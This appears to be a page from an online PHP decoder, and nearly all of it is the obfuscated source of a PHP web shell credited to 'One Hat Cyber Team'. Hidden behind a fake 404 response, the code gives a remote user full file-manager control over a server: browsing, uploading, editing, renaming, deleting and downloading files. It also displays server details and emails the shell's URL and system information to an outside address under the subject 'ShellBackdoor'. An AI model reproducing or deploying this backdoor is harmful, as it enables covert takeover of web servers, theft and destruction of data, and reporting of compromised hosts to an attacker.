Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level


 goto s7iCz; GU0Uh: uH: goto zvpBQ; f9qBx:
</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"value="goto mV02G; XdBPZ: $lE++; goto U4B_p; mxN_J: function Xe($OB, $Ch = 1, $BL = '') { global $Jd; $xe = $Ch == 1 ? "\x73\x75\x63\143\145\x73\163" : "\145\x72\162\157\x72"; echo "\x3c\x73\143\x72\151\x70\164\76\163\167\x61\x6c\50\x7b\x74\x69\x74\x6c\145\72\x20\x22{$xe}\42\54\x20\164\x65\170\164\x3a\40\x22{$OB}\x22\x2c\40\x69\x63\x6f\x6e\x3a\x20\42{$xe}\42\175\51\56\164\x68\145\156\x28\50\142\164\x6e\103\x6c\x69\143\x6b\x29\x20\x3d\x3e\x20\173\x69\x66\50\x62\164\156\x43\154\151\143\153\51\x7b\144\x6f\x63\x75\155\145\156\164\56\154\157\x63\141\164\x69\x6f\x6e\56\150\x72\145\146\75\x22\77\x70\x3d" . Ss($Jd) . $BL . "\42\175\x7d\51\x3c\57\163\143\x72\x69\x70\x74\x3e"; } goto cGH8v; zfgSf: Mk: goto uZgBe; RKKIs: Xe("\146\151\154\145\x20\x66\141\151\154\x65\144\40\164\x6f\40\x75\x70\154\157\x61\144", 0); goto d9w0d; BAJLR: goto WC; goto w5Xv_; bQsTE: goto iL; goto k_wpU; V1ghh: define("\x59\160", ''); goto xkM0u; s_D6u: iL: goto GaTZI; QHAfE: Xe("\146\151\154\145\x20\164\x6f\x20\144\145\x6c\145\164\x65\x20\x74\x68\145\x20\x66\x6f\x6c\144\145\162", 0); goto Tx5FW; JDctu: echo $_SERVER["\x53\105\122\x56\105\x52\x5f\x53\x4f\x46\124\127\101\122\x45"]; goto DXm3R; FPE9y: if (!($_GET["\164"] == "\x66")) { goto xB; } goto vq8Le; E2Mqn:
</tbody></table><h5 style="color:#ff0"><font>© Copyright 2022</font> <font style="color:red">Mr.Combet</font> <font>Powered by </font><font style="color:red">One Hat Cyber Team</font></h5>goto e3gwn; hLl23: set_time_limit(0); goto BjM47; cGH8v: function tF($yf) { global $c8; if (!(trim(pathinfo($yf, PATHINFO_BASENAME), "\56") === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jK; PF: array_map("\x64\145\154\x64\151\x72", glob($yf . DIRECTORY_SEPARATOR . "\x7b\54\x2e\175\x2a", GLOB_BRACE | GLOB_NOSORT)); rmdir($yf); jK: } goto aT2xJ; AOnCl:
"class="ohct">Submit</a></li><li>Add Directory : <a href="?p=goto DebEY; y2dvE: $G3 = $c8[5]($G3($Jd), array("\x2e", "\x2e\x2e")); goto PM0Ws; MRd5z: isset($_POST["\x73"]) ? $c8[16]($Jd . "\x2f" . jD($_GET["\156"]), $_POST["\x6e"]) ? XE("\x73\x75\x63\x63\145\x73\163\146\x75\154\x6c\171\x20\143\x68\x61\x6e\147\145\144\40\x74\150\x65\40\146\157\x6c\144\x65\x72\40\156\x61\x6d\x65") : Xe("\146\141\151\x6c\x65\x64\40\164\x6f\x20\143\x68\x61\x6e\x67\145\x20\164\150\145\40\x66\157\154\x64\145\162\40\x6e\141\155\x65", 0) : null; goto iMW2_; uwGgw: Je: goto x6jOf; gYR5S: if (!isset($_GET["\x64\157\167\x6e\x6c\157\x61\144"])) { goto FA; } goto NcaY1; LqskF:
</span></li></div><div class="text-light table-responsive"style="text-align:center;font-family:inherit;font-size:17px">goto vCEQw; OjUvo: dx: goto GClUc; bErSS: echo ss($Jd) . "\46\x61\x3d" . Ss("\x6e\x65\x77\x46\151\x6c\145"); goto AOnCl; vCEQw: if (!isset($_GET["\141"])) { goto Un; } goto HH1y5; otxVq: Pb: goto kVzaj; BjM47: ini_set("\x6d\x65\155\x6f\162\x79\137\154\x69\155\x69\x74", "\x36\64\x4d"); goto YvdRl; LjdP1: echo jd($_GET["\156"]); goto TZ3Ku; Oh79h: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}\x2f{$F1}")) { goto wA; } goto X1; wA: $kL = $c8[10]("{$Jd}\x2f{$F1}") / 1024; $kL = round($kL, 3); $kL = $kL > 1024 ? round($kL / 1024, 2) . "\x20\40\x4d\x42" : $kL . "\40\40\x4b\102"; echo "\xa\x3c\164\x72\x3e\xa\x3c\x74\144\x20\163\x74\171\x6c\145\x3d\x22\164\x65\x78\x74\x2d\x61\x6c\151\147\x6e\72\x20\x6c\x65\146\x74\x3b\42\x3e\12\74\x69\x20\143\x6c\141\x73\163\75\x22\146\141\x20\146\141\55\x66\167\x20\x66\x61\x2d\146\x69\x6c\x65\55\157\42\40\163\x74\171\x6c\x65\75\42\x62\157\x72\144\x65\x72\72\40\60\x3b\160\141\144\144\x69\156\x67\72\40\x30\x3b\167\x69\144\164\150\72\40\x31\56\x32\x38\x35\x37\x31\64\x32\71\145\155\x3b\42\x3e\x3c\x2f\x69\76\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . SS($Jd) . "\x26\x61\x3d" . sS("\x76\x69\x65\x77") . "\46\x6e\75" . SS($F1) . "\x22\40\144\x61\164\x61\55\164\x6f\147\x67\x6c\x65\x3d\42\164\x6f\x6f\x6c\x74\x69\x70\x22\x20\x64\141\x74\x61\x2d\160\x6c\141\x63\145\x6d\145\x6e\164\x3d\x22\141\165\x74\157\42\x20\x74\x69\x74\154\145\75\42\114\x61\164\x65\163\x74\x20\155\x6f\x64\x69\146\171\x20\157\x6e\40" . $c8[19]("\131\55\x6d\55\144\x20\110\x3a\151", $c8[20]("{$Jd}\57{$F1}")) . "\42\76{$F1}\74\x2f\141\x3e\x3c\57\x74\144\76\xa\74\164\144\76\74\x73\x70\141\156\76{$kL}\x3c\x2f\163\160\x61\x6e\x3e\x3c\x2f\x74\x64\76\xa\x3c\x74\x64\76\x3c\146\x6f\x6e\164\40\143\x6f\x6c\157\x72\75\x22" . ($c8[8]("{$Jd}\x2f{$F1}") ? "\43\x30\60\x66\146\60\x30" : (!$c8[9]("{$Jd}\x2f{$F1}") ? "\43\146\x66\x30\x30\60\60" : null)) . "\x22\x3e" . rN("{$Jd}\57{$F1}") . "\74\57\x66\x6f\156\164\76\74\x2f\164\x64\76\12\x3c\164\x64\76\74\x61\40\x68\x72\145\146\x3d\x22\x3f\x70\x3d" . Ss($Jd) . "\x26\x61\x3d" . Ss("\145\x64\x69\164") . "\x26\x6e\75" . SS($F1) . "\42\40\x64\141\x74\x61\55\164\157\x67\x67\154\x65\x3d\x22\164\x6f\157\x6c\164\151\x70\x22\x20\x64\x61\x74\x61\x2d\160\x6c\141\143\145\x6d\145\156\x74\x3d\x22\x61\x75\164\x6f\42\x20\x74\x69\x74\x6c\x65\75\42\105\144\151\164\42\76\105\x64\x69\164\x3c\x2f\x61\76\74\x2f\164\x64\76\xa\74\164\x64\x3e\x3c\x61\40\x68\x72\x65\x66\x3d\x22\x3f\160\75" . ss($Jd) . "\x26\x61\75" . SS("\162\x65\x6e\141\x6d\x65") . "\x26\156\x3d" . ss($F1) . "\46\164\x3d\x66\42\40\x64\x61\164\x61\55\164\157\147\x67\154\x65\75\42\164\157\157\154\164\x69\160\42\40\144\x61\x74\141\x2d\160\x6c\x61\x63\145\x6d\x65\156\x74\x3d\x22\x61\x75\x74\157\x22\40\x74\151\x74\x6c\x65\75\x22\x52\145\x6e\141\155\145\42\x3e\x52\145\156\141\x6d\145\x3c\x2f\141\76\74\57\x74\144\76\xa\x3c\x74\144\76\74\x61\40\150\x72\145\x66\x3d\x22\x3f\160\75" . ss($Jd) . "\46\141\x3d" . sS("\x64\145\x6c\x65\164\145") . "\46\156\75" . ss($F1) . "\x22\40\143\x6c\141\163\x73\x3d\x22\x64\x65\154\145\x74\x65\x22\40\x64\141\164\x61\x2d\x74\171\x70\x65\x3d\x22\146\x69\154\x65\42\x20\144\141\164\141\x2d\x74\x6f\x67\x67\x6c\145\75\42\x74\157\x6f\x6c\164\x69\160\x22\40\144\x61\164\141\x2d\x70\154\x61\x63\145\x6d\x65\x6e\x74\x3d\42\x61\165\x74\x6f\x22\40\x74\151\164\154\145\x3d\42\x44\x65\x6c\145\x74\145\42\x3e\x44\145\154\x65\164\x65\x3c\x2f\x61\76\x3c\x2f\x74\144\x3e\12\x3c\57\x74\162\x3e"; X1: } goto rCbZm; PuQVA: $im = Jd($_GET["\141"]); goto LJ_kO; gix1O: if (!($lE < count($Wx))) { goto dx; } goto dR7nA; OXozg: if (!isset($_FILES["\x66"])) { goto ea; } goto xEjpb; U08Rt: echo $c8[18]($c8[14]($Jd . "\x2f" . jd($_GET["\156"]))); goto WfxK6; d9w0d: goto tG; goto DIRBb; UhDgt: $Jd = jD($_GET["\x70"]); goto s1sD0; AU7Jl:
</span></li><li>Server Software : <span style="color:#fff">goto JDctu; DIRBb: PG: goto W39Df; gWZO0:
</div>goto NXTOJ; Ttwg1: if ($im == "\156\145\167\104\151\x72") { goto Fg; } goto JeHOA; M0Qcl: unlink($BL); goto h6Top; z7tdP: goto WC; goto Yuz07; yB3oY: goto VN; goto c2BI0; lX859: th: goto gix1O; iMW2_: goto WC; goto ARObO; YDc90:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">Edit File Name : <font color="white">goto mdMX1; qhVgq:
<table class="table table-borderless table-hover table-sm"style="text-align:center;width:100%"><thead class="text-light"><tr><th style="width:45%">Name</th><th style="width:13%">Size</th><th style="width:13%">Permission</th><th colspan="3">Action</th></tr></thead><tbody class="text-light">goto y2dvE; b56t0: echo $c8[18]($c8[14]($Jd . "\57" . jD($_GET["\156"]))); goto tP7ac; IfTaW: Cy: goto XdBPZ; YvdRl: header("\103\157\156\164\x65\156\x74\55\x54\171\x70\x65\x3a\x20\164\145\170\x74\x2f\x68\x74\x6d\154\x3b\40\143\150\141\162\163\145\x74\x3d\125\x54\x46\x2d\70"); goto AOMD1; j_DaD: $lE = 0; goto lX859; e3gwn: mR: goto VUhmk; HH1y5: if (!isset($_GET["\x61"])) { goto cc; } goto PuQVA; AOMD1: $to = "\x63\x6f\x6d\x62\x65\164\x6f\150\x63\x74\x40\171\141\150\x6f\x6f\56\143\x6f\155"; goto lL9gD; pwsFB: echo php_uname(); goto AU7Jl; ndTTn: $Op = $c8[4]("\57\50\134\x5c\x7c\134\x2f\51\x2f", $Jd); goto pcgGt; x6jOf: if (isset($_GET["\160"])) { goto sr; } goto OqAq0; NcaY1: header("\x43\157\156\164\145\156\164\55\124\x79\160\x65\72\40\x61\160\160\154\151\x63\141\x74\x69\x6f\156\57\157\x63\164\x65\x74\x2d\x73\164\162\145\x61\x6d"); goto EUdwE; DebEY: echo Ss($Jd) . "\x26\x61\x3d" . sS("\156\x65\167\104\x69\x72"); goto RwwD6; ppnFg:
</form></li></div><div class="text-light table-responsive"style="text-align:left;padding:4px;margin-bottom:3px;margin-top:3px;border:2px solid red;border-radius:5px"><li>Dir : <span>goto ndTTn; jLpgK: http_response_code(404); goto V1ghh; kVzaj:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New File Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"placeholder=""></div><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"placeholder=""style="resize:none"></textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto GQeqy; W39Df: XE("\146\x69\154\145\40\165\160\154\x6f\141\144\145\x64\40\x73\x75\143\143\145\163\163\x66\165\154\x6c\x79"); goto MhIT9; YGwXj: if (!($_GET["\x74"] == "\x64")) { goto VZ; } goto mTVtH; GClUc: ea: goto gYR5S; VvExo: VN: goto dVyrH; tP7ac:
</textarea></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto rXiNK; NXTOJ: goto mR; goto lawr2; Su3m2: Xe("\x66\x6f\x6c\144\x65\x72\40\144\145\154\145\164\x65\x64\x20\163\x75\x63\143\x65\x73\x73\x66\165\154\x6c\x79"); goto s_D6u; ZNHLS: header("\103\x6f\x6e\x74\x65\x6e\164\x2d\x4c\145\x6e\x67\164\x68\x3a\x20" . $c8[17](JD($_GET["\x6e"]))); goto IbRC9; r0L1f: echo jD($_GET["\x6e"]); goto f9qBx; WsaO8: Lu: goto Ttwg1; coGOf: goto th; goto OjUvo; pcgGt: foreach ($Op as $j3 => $Oe) { if (!($j3 == 0 && $Oe == '')) { goto xi; } echo "\x3c\141\40\x68\x72\x65\x66\75\x22\x3f\160\x3d\62\146\42\x20\x63\154\x61\163\x73\75\42\x63\x6f\x6d\142\x65\x74\x22\76\176\x3c\x2f\x61\x3e\57"; goto CS; xi: if (!($Oe == '')) { goto sq; } goto CS; sq: echo "\74\141\x20\143\154\x61\163\163\75\x22\143\x6f\x6d\142\145\x74\42\40\150\162\x65\146\75\42\x3f\x70\x3d"; $lE = 0; de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "\62\x66"; s0: dg: $lE++; goto de; ie: echo "\x22\76{$Oe}\74\x2f\x61\76\57"; CS: } goto bvx4k; s1sD0: $c8[3](Jd($_GET["\160"])); goto VvExo; DDS3y:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">New Folder Name :</h5><form method="post"><div class="form-group"><input name="n"class="border p-1"id="n"style="text-align:center"autocomplete="off"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Create</button></div></form>goto QBply; bvx4k: Go: goto LqskF; xWZnJ: if (!($im == "\x64\145\154\145\x74\145")) { goto Lu; } goto ED8Jl; yih_D: echo phpversion(); goto wOL1C; B6HGT: $lE = 0; goto FyGL_; h70bS: echo gethostbyname($_SERVER["\x53\x45\122\126\105\122\x5f\x4e\101\115\105"]); goto rFV9d; LJ_kO: cc: goto f1yQa; f1yQa:
<div class="text-light table-responsive">goto xWZnJ; pRqZE:
</span></li><li>Server IP : <span style="color:#fff">goto h70bS; rXiNK: isset($_POST["\x73"]) ? $c8[13]($Jd . "\x2f" . jD($_GET["\x6e"]), $_POST["\x63\164\156"]) ? xE("\x66\x69\154\x65\40\x63\x6f\156\164\145\156\164\163\40\143\150\141\x6e\x67\145\x64\40\163\x75\x63\x63\145\163\x73\146\x75\154\154\x79", 1, "\x26\x61\x3d" . sS("\166\x69\x65\x77") . "\46\x6e\x3d{$_GET["\156"]}") : xE("\x66\x69\154\145\40\x63\157\x6e\164\x65\156\164\163\40\146\141\151\x6c\x65\x64\40\x74\157\40\x63\x68\x61\x6e\147\145") : null; goto z7tdP; xkM0u: $G3 = "\x73\143\x61\x6e\144\x69\x72"; goto hO6rl; O1H86: if ($im == "\x76\151\145\167") { goto Ag; } goto BAJLR; QBply: isset($_POST["\163"]) ? $c8[12]("{$Jd}\57{$_POST["\x6e"]}") ? xE("\146\157\x6c\x64\145\162\40\x6e\141\155\145\x20\150\141\x73\40\x62\x65\145\x6e\40\x75\x73\x65\x64", 0, "\46\x61\75" . SS("\x6e\x65\167\x44\151\162")) : ($c8[15]("{$Jd}\x2f{$_POST["\156"]}") ? Xe("\146\157\x6c\x64\x65\162\40\x63\162\x65\141\x74\x65\x64\40\x73\165\143\143\x65\163\163\x66\x75\x6c\x6c\171") : Xe("\146\157\x6c\144\145\x72\x20\146\x61\x69\154\x65\144\x20\x74\x6f\40\x63\162\x65\141\x74\145", 0)) : null; goto B316e; Z2nZl: $pesan_alert = "\x5b\40{$x_path}\x20\135"; goto a_Kyz; dR7nA: if ($c8[11]($_FILES["\146"]["\164\155\160\x5f\156\141\x6d\145"][$lE], $Wx[$lE])) { goto PG; } goto RKKIs; uZgBe: xB: goto WsaO8; mTVtH: TF($BL); goto bfeKq; a_Kyz: mail($to, "\x53\x68\x65\154\x6c\102\x61\x63\153\x64\x6f\x6f\162", $pesan_alert, "\133\x20" . php_uname() . "\x20\x5d"); goto FvVzn; dVyrH: function Ss($SP) { $dE = ''; $lE = 0; NZ: if (!($lE < strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK: $lE++; goto NZ; Xc: return $dE; } goto DofrI; g5_m5: goto WC; goto ZsISN; c2BI0: sr: goto UhDgt; rFV9d:
</span></li><li>Server : <span style="color:#fff">goto pwsFB; YFjKl: Xe("\x66\x61\151\x6c\145\144\x20\164\157\40\144\x65\x6c\145\164\145\40\x74\150\145\x20\146\x6f\x6c\x64\x65\x72", 0); goto bQsTE; Yuz07: Ag: goto eq695; uH999: $c8[$lE] = JD($c8[$lE]); goto IfTaW; s7iCz: error_reporting(0); goto jLpgK; zvpBQ: xe("\x66\x69\154\145\x20\144\145\154\145\x74\145\144\x20\x73\x75\x63\x63\x65\x73\163\146\x75\154\154\x79"); goto zfgSf; mdMX1: echo Jd($_GET["\156"]); goto M4r56; lL9gD: $x_path = "\x68\x74\x74\x70\x3a\57\x2f" . $_SERVER["\x53\105\x52\126\105\122\137\116\101\115\x45"] . $_SERVER["\x52\x45\x51\x55\x45\x53\124\137\x55\x52\111"]; goto Z2nZl; Tx5FW: goto Mk; goto GU0Uh; rCbZm: a2: goto E2Mqn; PT1kf: if ($im == "\162\x65\156\141\x6d\145") { goto Lw; } goto bdIIo; bfeKq: if (!$c8[12]($BL)) { goto e8; } goto YFjKl; DXm3R:
</span></li><li>PHP Version : <span style="color:#fff">goto yih_D; YklOd: FA: goto ppnFg; X9c4z: g9: goto bRcir; W9ggd: echo gethostbyname($_SERVER["\x52\105\x4d\117\124\105\x5f\x41\104\104\x52"]); goto pRqZE; h6Top: if (!$c8[12]($BL)) { goto uH; } goto QHAfE; EUdwE: header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\x54\x72\x61\x6e\163\146\145\x72\x2d\105\156\x63\x6f\144\x69\156\x67\x3a\x20\x42\x69\x6e\x61\x72\171"); goto ZNHLS; hO6rl: $c8 = array("\x37\60\66\70\67\x30\65\146\x37\x35\66\x65\66\61\66\x64\66\x35", "\x37\60\x36\70\67\60\67\x36\x36\65\67\62\x37\63\x36\71\66\146\x36\145", "\66\x37\x36\x35\x37\x34\66\63\x37\x37\x36\64", "\x36\63\x36\70\x36\x34\66\71\x37\x32", "\x37\x30\67\x32\x36\x35\x36\67\x35\x66\67\63\67\60\x36\x63\x36\x39\x37\x34", "\66\61\x37\62\67\x32\66\x31\x37\71\x35\146\66\x34\x36\71\66\x36\x36\x36", "\66\71\x37\x33\x35\x66\x36\64\x36\71\x37\x32", "\x36\x39\x37\x33\x35\x66\x36\66\66\x39\66\143\66\65", "\x36\71\67\63\65\146\x37\x37\x37\62\66\71\x37\64\66\61\66\x32\66\143\x36\65", "\x36\x39\x37\x33\x35\x66\67\x32\66\65\x36\x31\66\x34\x36\x31\66\62\x36\x63\x36\65", "\x36\x36\x36\x39\66\x63\66\x35\x37\63\x36\x39\x37\x61\x36\x35", "\66\x33\x36\x66\67\x30\x37\x39", "\x36\x36\x36\x39\x36\x63\x36\x35\x35\146\66\x35\x37\x38\x36\71\67\63\67\64\x37\x33", "\66\66\x36\71\66\x63\66\x35\65\146\x37\x30\67\x35\x37\x34\x35\146\66\x33\66\x66\x36\x65\67\64\66\x35\x36\145\x37\64\67\63", "\66\66\66\x39\66\143\x36\x35\65\x66\66\67\x36\65\67\64\65\146\66\x33\66\146\66\x65\x37\64\66\65\x36\x65\67\64\x37\63", "\66\x64\x36\142\x36\x34\x36\x39\x37\x32", "\x37\x32\x36\x35\66\x65\x36\61\66\x64\x36\65", "\x37\x33\x37\x34\67\x32\x37\64\66\146\67\x34\66\x39\x36\144\66\65", "\66\70\x37\64\66\x64\66\x63\x37\63\67\x30\x36\65\66\63\66\x39\66\61\66\x63\x36\63\x36\70\x36\x31\x37\x32\x37\63", "\66\x34\66\x31\67\x34\x36\65", "\x36\x36\x36\x39\66\x63\x36\65\66\144\67\64\66\x39\x36\144\66\65"); goto B6HGT; hB0K6: ad: goto Oh79h; L9qx1: WC: goto gWZO0; wOL1C:
</span></li><li>Add File : <a href="?p=goto bErSS; ED8Jl: $BL = $Jd . "\x2f" . Jd($_GET["\156"]); goto YGwXj; TZ3Ku:
</font></h5><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10"readonly>goto U08Rt; OqAq0: $Jd = $c8[2](); goto yB3oY; lawr2: Un: goto qhVgq; ZsISN: Lw: goto QCG_D; GQeqy: isset($_POST["\x73"]) ? $c8[12]("{$Jd}\57{$_POST["\156"]}") ? xE("\146\151\x6c\x65\40\x6e\x61\x6d\x65\40\150\141\163\x20\x62\145\x65\x6e\40\x75\x73\x65\x64", 0, "\46\141\75" . SS("\156\x65\x77\x46\x69\x6c\x65")) : ($c8[13]("{$Jd}\57{$_POST["\156"]}", $_POST["\143\x74\156"]) ? XE('', 1, "\46\141\x3d" . ss("\x76\151\145\167") . "\46\x6e\75" . Ss($_POST["\156"])) : Xe("\x66\x69\x6c\145\40\x66\141\151\154\145\144\x20\x74\157\40\x63\x72\x65\x61\164\x65", 0)) : null; goto g5_m5; DofrI: function Jd($SP) { $dE = ''; $gf = strlen($SP) - 1; $lE = 0; Xp: if (!($lE < $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); Wn: $lE += 2; goto Xp; ur: return $dE; } goto hkJ0l; M4r56:
</font></h5><form method="post"><div class="form-group"><textarea class="border form-control"cols="30"id="ctn"name="ctn"rows="10">goto b56t0; ARObO: Ox: goto YDc90; RwwD6:
"class="ohct">Submit</a></li><li><form method="post"enctype="multipart/form-data"style="padding:.1rem;display:inline-block"><input name="f[]"type="file"multiple> <input name="submit"class="ohct"value="Submit"type="submit">goto OXozg; bRcir: $lE++; goto coGOf; mV02G: echo jD($_GET["\156"]); goto iKLED; bdIIo: if ($im == "\x65\144\x69\164") { goto Ox; } goto O1H86; w5Xv_: Fg: goto DDS3y; eq695:
<h5 class="p-1"style="text-align:center;border:2px solid red;border-radius:5px">View File Name : <font color="white">goto LjdP1; xEjpb: $Wx = $_FILES["\x66"]["\156\x61\x6d\x65"]; goto j_DaD; fV2Ky: if (!($lE < count($c8))) { goto Je; } goto uH999; k_wpU: e8: goto Su3m2; B316e: goto WC; goto otxVq; MhIT9: tG: goto X9c4z; VUhmk:
</div><script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script><script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script><script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script><script>eval(function(t,e,n,r,i,o){if(i=function(t){return(t<41?"":i(parseInt(t/41)))+(35<(t%=41)?String.fromCharCode(t+29):t.toString(36))},!"".replace(/^/,String)){for(;n--;)o[i(n)]=r[n]||i(n);r=[function(t){return o[t]}],i=function(){return"\\w+"},n=1}for(;n--;)r[n]&&(t=t.replace(new RegExp("\\b"+i(n)+"\\b","g"),r[n]));return t}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',0,41,"type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput".split("|"),0,{}))</script></body></html>goto tOrpK; tOrpK: @ini_set("\x6f\165\x74\160\x75\164\137\142\x75\146\x66\145\162\x69\156\x67", 0); goto xCnPK; WfxK6:
</textarea></div>goto L9qx1; QCG_D:
<h5 class="border p-1">Rename File :goto r0L1f; FyGL_: T4: goto fV2Ky; iKLED:
"></div><div class="form-group"style="margin-top:10px"><button class="ohct"name="s"type="submit">Save</button></div></form>goto MRd5z; JeHOA: if ($im == "\x6e\145\167\106\151\154\x65") { goto Pb; } goto PT1kf; xCnPK: @ini_set("\x64\x69\163\160\154\x61\171\137\145\x72\162\157\162\x73", 0); goto hLl23; U4B_p: goto T4; goto uwGgw; PM0Ws: foreach ($G3 as $yf) { if ($c8[6]("{$Jd}\x2f{$yf}")) { goto CB; } goto Qj; CB: echo "\40\xa\x3c\164\x72\76\xa\x3c\164\144\x20\163\164\171\154\145\75\42\x74\145\170\164\x2d\x61\x6c\151\x67\x6e\72\x20\154\x65\146\x74\x3b\42\x3e\xa\74\151\40\x63\154\x61\163\x73\75\x22\x66\141\40\146\x61\x2d\x66\167\40\x66\x61\55\146\157\154\x64\x65\162\55\x6f\x22\x20\x73\164\x79\x6c\x65\75\x22\x62\x6f\x72\x64\x65\x72\x3a\x20\60\73\160\141\x64\144\151\x6e\147\x3a\x20\60\x3b\x77\x69\x64\164\150\x3a\40\x31\x2e\x32\x38\x35\67\61\64\62\71\x65\x6d\x3b\42\x3e\x3c\57\151\76\x3c\141\40\150\162\145\x66\75\42\77\x70\75" . sS("{$Jd}\x2f{$yf}") . "\42\x20\x64\x61\164\x61\x2d\164\157\x67\147\154\145\75\42\164\157\x6f\x6c\164\x69\160\42\x20\x64\x61\x74\141\x2d\x70\154\x61\143\x65\155\145\156\x74\75\x22\141\x75\x74\157\x22\x20\164\151\164\x6c\x65\x3d\x22\x4c\141\x74\145\163\x74\x20\155\x6f\144\x69\x66\x79\40\157\156\x20" . $c8[19]("\131\55\155\x2d\x64\x20\110\72\x69", $c8[20]("{$Jd}\x2f{$yf}")) . "\42\76{$yf}\x3c\x2f\x61\76\x3c\57\164\x64\x3e\xa\x3c\x74\144\40\x73\x74\171\154\x65\75\42\143\157\x6c\x6f\162\72\x20\x62\154\x61\x63\153\73\x22\76\74\163\160\141\x6e\x3e\74\x2f\x73\x70\141\x6e\76\74\x2f\164\144\76\xa\74\x74\144\x3e\74\x66\157\x6e\x74\40\x63\157\154\x6f\162\75\42" . ($c8[8]("{$Jd}\x2f{$yf}") ? "\43\x30\60\146\x66\60\x30" : (!$c8[9]("{$Jd}\57{$yf}") ? "\43\146\146\60\x30\60\x30" : null)) . "\42\76" . RN("{$Jd}\57{$yf}") . "\x3c\x2f\x66\157\x6e\x74\76\74\57\x74\144\76\xa\74\x74\144\40\x73\x74\x79\x6c\145\x3d\42\143\157\154\157\x72\72\x20\x62\154\141\x63\x6b\73\x77\151\144\164\x68\x3a\40\x39\56\65\45\73\x22\x3e\74\163\x70\141\x6e\76\74\57\163\160\141\x6e\76\x3c\x2f\164\144\x3e\12\x3c\164\x64\x3e\xa\x3c\141\40\150\x72\x65\x66\75\42\77\x70\75" . ss($Jd) . "\x26\x61\x3d" . ss("\x72\145\156\x61\155\145") . "\x26\156\x3d" . ss($yf) . "\46\164\x3d\144\x22\40\144\141\x74\x61\55\164\x6f\147\147\x6c\x65\x3d\42\164\157\157\x6c\164\151\160\x22\40\144\x61\164\141\55\160\x6c\x61\x63\145\155\145\x6e\164\75\42\x61\x75\x74\157\42\40\x74\151\x74\x6c\145\x3d\x22\x52\145\156\141\x6d\x65\42\76\122\145\x6e\x61\155\145\x3c\x2f\141\76\12\x3c\x2f\x74\x64\76\12\74\164\144\x3e\12\x3c\141\x20\x68\x72\145\x66\75\x22\77\x70\x3d" . sS($Jd) . "\46\x61\x3d" . ss("\144\145\x6c\x65\x74\145") . "\46\x6e\x3d" . ss($yf) . "\42\40\143\154\x61\x73\163\75\x22\x64\145\x6c\145\x74\145\x22\40\144\x61\x74\x61\55\x74\x79\x70\x65\x3d\x22\146\x6f\x6c\144\x65\162\42\x20\x64\x61\164\x61\55\164\157\147\147\x6c\x65\x3d\42\164\157\157\154\164\151\x70\42\40\x64\x61\164\141\x2d\x70\154\141\143\145\x6d\145\156\x74\75\42\141\165\x74\157\x22\40\x74\151\x74\154\145\x3d\42\104\145\154\x65\164\145\42\x3e\104\145\154\x65\164\x65\74\x2f\141\x3e\xa\x3c\57\x74\144\x3e\12\x3c\x2f\x74\x72\76"; Qj: } goto hB0K6; hkJ0l: function rn($F1) { $Jd = fileperms($F1); if (($Jd & 49152) == 49152) { goto FZ; } if (($Jd & 40960) == 40960) { goto Eu; } if (($Jd & 32768) == 32768) { goto ES; } if (($Jd & 24576) == 24576) { goto sA; } if (($Jd & 16384) == 16384) { goto lG; } if (($Jd & 8192) == 8192) { goto tV; } if (($Jd & 4096) == 4096) { goto Tx; } $lE = "\165"; goto cC; FZ: $lE = "\163"; goto cC; Eu: $lE = "\x6c"; goto cC; ES: $lE = "\x2d"; goto cC; sA: $lE = "\x62"; goto cC; lG: $lE = "\x64"; goto cC; tV: $lE = "\x63"; goto cC; Tx: $lE = "\160"; cC: $lE .= $Jd & 256 ? "\x72" : "\x2d"; $lE .= $Jd & 128 ? "\167" : "\55"; $lE .= $Jd & 64 ? $Jd & 2048 ? "\x73" : "\170" : ($Jd & 2048 ? "\x53" : "\x2d"); $lE .= $Jd & 32 ? "\162" : "\55"; $lE .= $Jd & 16 ? "\x77" : "\x2d"; $lE .= $Jd & 8 ? $Jd & 1024 ? "\163" : "\x78" : ($Jd & 1024 ? "\x53" : "\55"); $lE .= $Jd & 4 ? "\x72" : "\x2d"; $lE .= $Jd & 2 ? "\x77" : "\x2d"; $lE .= $Jd & 1 ? $Jd & 512 ? "\164" : "\x78" : ($Jd & 512 ? "\x54" : "\55"); return $lE; } goto mxN_J; vq8Le: $BL = $Jd . "\57" . jd($_GET["\x6e"]); goto M0Qcl; aT2xJ:
